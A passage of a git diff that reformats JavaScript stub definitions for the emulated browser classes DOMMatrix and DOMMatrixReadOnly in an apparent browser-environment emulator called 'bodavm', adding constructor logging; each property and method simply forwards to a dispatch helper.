"DOMMatrix", "skewXSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "skewYSelf", {configurable:true, enumerable:true, writable:true, value:function skewYSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "skewYSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "translateSelf", {configurable:true, enumerable:true, writable:true, value:function translateSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "translateSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "setMatrixValue", {configurable:true, enumerable:true, writable:true, value:function setMatrixValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "setMatrixValue", arguments)}},'prototype'); +// DOMMatrix对象 + +bodavm.memory.globalobj['DOMMatrix'] = function DOMMatrix() { + console.log_copy('DOMMatrix 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DOMMatrix(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMMatrix'], "DOMMatrix"); +bodavm.memory.globalobj['DOMMatrix'].prototype.__proto__ = bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype; +bodavm.memory.globalobj['DOMMatrix'].__proto__ = bodavm.memory.globalobj['DOMMatrixReadOnly']; +bodavm.toolsFunc.defineProperty('DOMMatrix', "fromFloat32Array", { + configurable: true, + enumerable: true, + writable: true, + value: function fromFloat32Array() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromFloat32Array", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMMatrix', "fromFloat64Array", { + configurable: true, + enumerable: true, + writable: true, + value: function fromFloat64Array() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromFloat64Array", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMMatrix', "fromMatrix", { + configurable: true, + enumerable: true, + writable: true, + value: function fromMatrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromMatrix", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMMatrix', "a", { + configurable: true, + enumerable: true, + get: function a() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "a_get", arguments); + }, + set: function a() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "a_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "b", { + configurable: true, + enumerable: true, + get: function b() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "b_get", arguments); + }, + set: function b() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "b_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "c", { + configurable: true, + enumerable: true, + get: function c() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "c_get", arguments); + }, + set: function c() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "c_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "d", { + configurable: true, + enumerable: true, + get: function d() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "d_get", arguments); + }, + set: function d() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "d_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "e", { + configurable: true, + enumerable: true, + get: function e() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "e_get", arguments); + }, + set: function e() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "e_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "f", { + configurable: true, + enumerable: true, + get: function f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "f_get", arguments); + }, + set: function f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "f_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m11", { + configurable: true, + enumerable: true, + get: function m11() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m11_get", arguments); + }, + set: function m11() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m11_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m12", { + configurable: true, + enumerable: true, + get: function m12() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m12_get", arguments); + }, + set: function m12() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m12_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m13", { + configurable: true, + enumerable: true, + get: function m13() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m13_get", arguments); + }, + set: function m13() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m13_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m14", { + configurable: true, + enumerable: true, + get: function m14() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m14_get", arguments); + }, + set: function m14() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m14_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m21", { + configurable: true, + enumerable: true, + get: function m21() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m21_get", arguments); + }, + set: function m21() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m21_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m22", { + configurable: true, + enumerable: true, + get: function m22() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m22_get", arguments); + }, + set: function m22() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m22_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m23", { + configurable: true, + enumerable: true, + get: function m23() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m23_get", arguments); + }, + set: function m23() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m23_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m24", { + configurable: true, + enumerable: true, + get: function m24() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m24_get", arguments); + }, + set: function m24() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m24_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m31", { + configurable: true, + enumerable: true, + get: function m31() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m31_get", arguments); + }, + set: function m31() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m31_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m32", { + configurable: true, + enumerable: true, + get: function m32() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m32_get", arguments); + }, + set: function m32() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m32_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m33", { + configurable: true, + enumerable: true, + get: function m33() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m33_get", arguments); + }, + set: function m33() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m33_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m34", { + configurable: true, + enumerable: true, + get: function m34() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m34_get", arguments); + }, + set: function m34() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m34_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m41", { + configurable: true, + enumerable: true, + get: function m41() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m41_get", arguments); + }, + set: function m41() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m41_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m42", { + configurable: true, + enumerable: true, + get: function m42() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m42_get", arguments); + }, + set: function m42() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m42_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m43", { + configurable: true, + enumerable: true, + get: function m43() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m43_get", arguments); + }, + set: function m43() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m43_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m44", { + configurable: true, + enumerable: true, + get: function m44() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m44_get", arguments); + }, + set: function m44() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m44_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "invertSelf", { + configurable: true, + enumerable: true, + writable: true, + value: function invertSelf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "invertSelf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "multiplySelf", { + configurable: true, + enumerable: true, + writable: true, + value: function multiplySelf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "multiplySelf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "preMultiplySelf", { + configurable: true, + enumerable: true, + writable: true, + value: function preMultiplySelf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "preMultiplySelf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateAxisAngleSelf", { + configurable: true, + enumerable: true, + writable: true, + value: function rotateAxisAngleSelf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateAxisAngleSelf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateFromVectorSelf", { + configurable: true, + enumerable: true, + writable: true, + value: function rotateFromVectorSelf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateFromVectorSelf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateSelf", { + configurable: true, + enumerable: true, + writable: true, + value: function rotateSelf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateSelf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "scale3dSelf", { + configurable: true, + enumerable: true, + writable: true, + value: function scale3dSelf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "scale3dSelf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "scaleSelf", { + configurable: true, + enumerable: true, + writable: true, + value: function scaleSelf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "scaleSelf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "skewXSelf", { + configurable: true, + enumerable: true, + writable: true, + value: function skewXSelf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "skewXSelf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "skewYSelf", { + configurable: true, + enumerable: true, + writable: true, + value: function skewYSelf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "skewYSelf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "translateSelf", { + configurable: true, + enumerable: true, + writable: true, + value: function translateSelf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "translateSelf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "setMatrixValue", { + configurable: true, + enumerable: true, + writable: true, + value: function setMatrixValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "setMatrixValue", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DOMMatrixReadOnly.js b/env_xbb_lastest_jsdom/env/DOMMatrixReadOnly.js index 49980eca..9330e44c 100644 --- a/env_xbb_lastest_jsdom/env/DOMMatrixReadOnly.js +++ b/env_xbb_lastest_jsdom/env/DOMMatrixReadOnly.js @@ -1,48 +1,374 @@ -// DOMMatrixReadOnly对象 -bodavm.memory.globalobj['DOMMatrixReadOnly'] = function DOMMatrixReadOnly(){this._boarg= new bodaobj.window.DOMMatrixReadOnly();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMMatrixReadOnly'], "DOMMatrixReadOnly"); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "fromFloat32Array", {configurable:true, enumerable:true, writable:true, value:function fromFloat32Array (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].undefined, "DOMMatrixReadOnly", "fromFloat32Array", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "fromFloat64Array", {configurable:true, enumerable:true, writable:true, value:function fromFloat64Array (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].undefined, "DOMMatrixReadOnly", "fromFloat64Array", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "fromMatrix", {configurable:true, enumerable:true, writable:true, value:function fromMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].undefined, "DOMMatrixReadOnly", "fromMatrix", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "a", {configurable:true, enumerable:true, get:function a (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "a_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "b", {configurable:true, enumerable:true, get:function b (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "b_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "c", {configurable:true, enumerable:true, get:function c (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "c_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "d", {configurable:true, enumerable:true, get:function d (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "d_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "e", {configurable:true, enumerable:true, get:function e (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "e_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "f", {configurable:true, enumerable:true, get:function f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "f_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m11", {configurable:true, enumerable:true, get:function m11 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m11_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m12", {configurable:true, enumerable:true, get:function m12 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m12_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m13", {configurable:true, enumerable:true, get:function m13 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m13_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m14", {configurable:true, enumerable:true, get:function m14 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m14_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m21", {configurable:true, enumerable:true, get:function m21 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m21_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m22", {configurable:true, enumerable:true, get:function m22 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m22_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m23", {configurable:true, enumerable:true, get:function m23 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m23_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m24", {configurable:true, enumerable:true, get:function m24 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m24_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m31", {configurable:true, enumerable:true, get:function m31 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m31_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m32", {configurable:true, enumerable:true, get:function m32 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m32_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m33", {configurable:true, enumerable:true, get:function m33 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m33_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m34", {configurable:true, enumerable:true, get:function m34 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m34_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m41", {configurable:true, enumerable:true, get:function m41 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m41_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m42", {configurable:true, enumerable:true, get:function m42 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m42_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m43", {configurable:true, enumerable:true, get:function m43 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m43_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m44", {configurable:true, enumerable:true, get:function m44 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m44_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "is2D", {configurable:true, enumerable:true, get:function is2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "is2D_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "isIdentity", {configurable:true, enumerable:true, get:function isIdentity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "isIdentity_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "flipX", {configurable:true, enumerable:true, writable:true, value:function flipX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "flipX", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "flipY", {configurable:true, enumerable:true, writable:true, value:function flipY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "flipY", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "inverse", {configurable:true, enumerable:true, writable:true, value:function inverse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "inverse", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "multiply", {configurable:true, enumerable:true, writable:true, value:function multiply (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "multiply", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "rotate", {configurable:true, enumerable:true, writable:true, value:function rotate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "rotate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "rotateAxisAngle", {configurable:true, enumerable:true, writable:true, value:function rotateAxisAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "rotateAxisAngle", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "rotateFromVector", {configurable:true, enumerable:true, writable:true, value:function rotateFromVector (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "rotateFromVector", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "scale", {configurable:true, enumerable:true, writable:true, value:function scale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "scale", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "scale3d", {configurable:true, enumerable:true, writable:true, value:function scale3d (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "scale3d", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "scaleNonUniform", {configurable:true, enumerable:true, writable:true, value:function scaleNonUniform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "scaleNonUniform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "skewX", {configurable:true, enumerable:true, writable:true, value:function skewX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "skewX", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "skewY", {configurable:true, enumerable:true, writable:true, value:function skewY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "skewY", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "toFloat32Array", {configurable:true, enumerable:true, writable:true, value:function toFloat32Array (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "toFloat32Array", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "toFloat64Array", {configurable:true, enumerable:true, writable:true, value:function toFloat64Array (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "toFloat64Array", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "toJSON", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "transformPoint", {configurable:true, enumerable:true, writable:true, value:function transformPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "transformPoint", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "translate", {configurable:true, enumerable:true, writable:true, value:function translate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "translate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "toString", arguments)}},'prototype'); +// DOMMatrixReadOnly对象 + +bodavm.memory.globalobj['DOMMatrixReadOnly'] = function DOMMatrixReadOnly() { + console.log_copy('DOMMatrixReadOnly 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DOMMatrixReadOnly(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMMatrixReadOnly'], "DOMMatrixReadOnly"); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "fromFloat32Array", { + configurable: true, + enumerable: true, + writable: true, + value: function 